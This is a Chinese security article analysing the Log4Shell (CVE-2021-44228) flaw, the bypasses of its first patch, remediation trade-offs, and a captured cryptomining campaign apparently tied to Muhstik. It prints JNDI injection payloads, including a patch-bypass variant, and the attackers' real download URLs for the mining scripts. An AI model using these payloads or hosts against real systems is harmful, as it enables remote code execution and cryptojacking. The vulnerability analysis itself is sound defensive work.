Log4shell漏洞研究及其挖矿案例分析-安全客

Apache Log4j是Apache的一个开源项目，是一个基于Java的日志记录工具，因其卓越的性能，使用极其广泛。近日该组件编号为CVE-2021-44228的漏洞Log4shell被披露，大量常用框架已经被发现存在该漏洞，本漏洞触发条件极其简单，且无需特殊配置，风险极大。

漏洞描述：

攻击者可直接构造恶意请求，触发远程代码执行漏洞。

影响范围如下：

Apache Log4j 2.x<=2.14.1

已知受影响的组件和供应商有：

Apache Solr

Apache Druid

Apache Struts2

Apache Flink

Apache Dubbo

Apple

腾讯

Steam

Twitter

百度

滴滴

京东

NetEase

Google

VMWarevCenter

VMWare

CloudFlare

漏洞分析：

该漏洞归根结底是一个非常简单的 JNDI 注入缺陷，其原理在于log4j在执行lookup()时，允许开发者通过一些协议去读取本地环境变量中的配置，但是在实现中未对输入进行严格判断。

在默认情况下，特定jdk版本的JNDI支持两种特殊的协议：RMI和LDAP。在这两种情况下，lookup() 调用后会返回一个Java 对象。但是攻击者可以通过Factory间接构造一个JNDI 引用。可以从远程URL的代码库加载恶意class。

过程分析：

org.apache.logging.log4j.core.pattern.MessagePatternConverter的#format函数

将输入内容作为字符串处理，然后对于其中出现的“${“，进行替换操作。

替换是一个字符串查找的过程，方法如下：将{xxx:yyy}的结构由 ‘:’ 字符进行分割，解析为prefix和name两部分。通过prefix去strLookupMap哈希表查询对应的lookup方法，再通过实例调用lookup()方法，将name作为参数带入执行。

主要目的是在日志记录中发现 ${ ，并将表达式里的内容，替换为表达式解析后的内容，导致攻击者可以任意执行命令。

以下为存在漏洞版本strLookupMap哈希表的内容，其中包含了jndi样危险的协议。

最后跟入的触发点JndiManager.lookup如下：

以最常见的ldap类型的攻击payload为例，

${jndi:ldap://xxx.xxx.xxx.xxx/exp}

最终利用过程如下图所示，通过jndi注入，使得lookup远程调用ldap服务，再利用ldap响应将请求重定向到准备好的攻击服务器上，使目标服务器下载恶意的class代码并将其执行。

补丁分析及绕过：

修复版本2.15.0-rc1 ：

补丁分析

经过diff和调试之后，主要发现两点修复：

l 第一点修复是PatternLayout.class的#StringBuilder toSerializable方法，

这里将formnatters方法里包含的第8个formatter对象（原本是触发漏洞的MessagePatternConverter），修复为MessagePatternConverter.SimplePatternConverter 类

2.14.1版本：

2.15.0-rc1版本：

分析一下，不难看出，这个类不再判断${}这种情况，而是直接拼接字符串。

但是这个补丁在特定情况下仍然保留了进行${}处理的方法，前提是converte被设置为LookupMessagePatternConverter。

然而rc1的补丁默认设置nolookups，想要尝试绕过，只能是在用户手动将lookup开启的情景下才能进行。因而这一绕过在现实情况下，几乎不会构成威胁。

但是为了进行后续分析，我们手动开启lookup进行后续分析。

l 第二点修复，添加白名单

递归处理等过程均没有变化，最后JndiManager.lookup触发漏洞时，添加了协议白名单

默认的协议只支持：ldap、ldaps、java

默认的Host白名单是localhost

实际上对我们的payload进行拦截的是这个OBJECT_FACTORY判断，因为我们RCE加载远程对象时，无论如何也避免不了使用Factory属性。

然而JndiManager这里的处理存在一定漏洞给了我们Fuzz的空间：

    public synchronized <T> T lookup(final String name) throws NamingException {

        try {

            URI uri = new URI(name);

            ···

            }

        } catch (URISyntaxException ex) {

            // This is OK.

        }

        return (T) this.context.lookup(name);

    }

如果在这里触发了URI异常会直接触发lookup(name)

所以我们可以尝试构造payload使其在new URI(name)时候报错，但是在name传入context.lookup(name)的时候正常执行。

补丁绕过

知道绕过思路后，此处有两种基于此思路的绕过方法：

1. 参考4ra1n师傅的思路，通过URI中加入空格触发报错：

经过测试，发现URI(name)中不进行URL编码是会报错，所以可以直接在payload中加一个空格触发报错，直接进入lookup(name)。然而lookup时候又会自动去掉这个空格。

payload：${jndi:ldap://127.0.0.1:1389/ Exploit}

成功RCE（需要用户手动开启lookup功能的基础上才可以，鉴于生产环境，绝大多数情况下，这个fuzz只存在于理论上。）

2. 根据官方测试用例里，在URI后面加上脏数据:

“?Type=A Type&Name=1100110&Char=!”

同样可以触发异常绕过防护。

修复版本2.15.0-rc2 ：

2.15.0-rc2的修复方法是在触发URI异常后直接return null，避免了上文的fuzz行为。

基于甲方视角的修复建议分析

本段的思路主要来自于忍者师傅的文章，探讨一下目前各大厂商流行的临时修复方案及其潜在问题：

https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA

漏洞刚刚被披露出来时，几乎所有的厂商预警文章都是互相copy的，里面存在各种没有详细说明，甚至无效的修复方案，比如：

1. 这些措施几乎完全是从安全调试的视角来看待问题，nolookups设置成true确实可以避免漏洞，但是禁用了所有的lookup是否会影响业务日志正常的打印输出，遇到了问题，调试找不到需要的日志有如何解决？

2. 经过多次验证，给出的修复方案里设置系统环境变量这一条，并不能生效。

3. 升级jdk版本只能防止一些里有LDAP和RMI产生的RCE，并不能防止敏感信息的带外攻击。

jdk版本升级

多数情况下，jdk版本升级之后攻击者最多也就只能触发一个dnslog，做不了进一步的命令执行操作。但是这并不是万无一失的，因为还存在通过dnslog带外各种敏感信息的风险。攻击者可以利用这些信息为后续的攻击做铺垫，可以参考浅蓝大佬的文章：https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

里面介绍了在不出网的情况下通过 SystemProperties 和 Environment 这两个lookup的参数获取一些环境变量和系统属性，并借助dnslog传递出去。

（PS：这个dnslog.cn崩了的替代品是https://app.interactsh.com/#/）

后续该公司在通告里对修复方案进行了详细的调整：

对此笔者的建议如下：

相对最谨慎稳妥的解决方案是关闭log4j2的jndi调用后，再重新开启lookup避免影响业务功能。因为正常情况下应该不存在真的有开发者利用到了lookup里的jndi的情况。

利用log4j漏洞的挖矿攻击案例

前日，我们捕获到了一个利用log4j漏洞植入挖矿病毒的攻击行为，并对其进行了简单的分析。

其命令执行的payload位于URI中，作为路径的一部分：

\$%7Bjndi:ldap://xx.xx.xx.xx:1389/Exploit%7D

攻击者在加载恶意class文件后，执行命令：下载并以shell格式执行了log文件，查看之后该log文件内容如下：

在这里，恶意软件下载并执行各种可执行文件，然后是几个脚本。

下载完需要执行的ldm.sh文件之后，发现了连接矿池执行挖矿命令的代码：

这个矿工将自己的连接地址托管在了Tor网络的站点中，可以通过代理访问：

ldm脚本将攻击者ssh公私密钥添加到ssh列表里，实现持久化控制。

该脚本还会设置crontab任务，以定期从socks5h://\$s:9050 $RHOST.onion/src/ldm等站点更新自己的内容。

恶意脚本还会遍历系统后台其他正在执行的进程，从中筛选出挖矿脚本，并将其kill掉（黑吃黑）。

除了利用本机执行挖矿代码，恶意脚本还能够通过提取本机的SSH 密钥，并从 bash 历史记录和 SSH 配置以及已知主机中构建一个，包含所有相关主机的列表来进行横向移动。

如果这些主机被成功连接，就会在这些主机上下载以下脚本：

http://34.221.40.237/[.]x/3sh

http://34.221.40.237/[.]x/1sh

其内容与之前的log脚本大体相似，从而实现横向移动。

从脚本关联执行横向移动时，加载脚本的IP可以将这一挖矿攻击，与Muhstik僵尸网络活动关联起来。

结语：

新披露的Apache Log4j漏洞是一个利用方式简单而又丰富多样、影响范围又极其广泛的漏洞，厂商们紧急加固的同时，又有许多攻击者正在非常迅速地测试新漏洞的各种利用方式，如何快速地响应和合理地处置攻击行为，对甲方和乙方厂商都是严峻的考验，乙方在提供处置方案时要尽可能的保证严谨，对客户负责，甲方在加班加点修补漏洞的同时，也要充分保障业务的正常运转不受影响。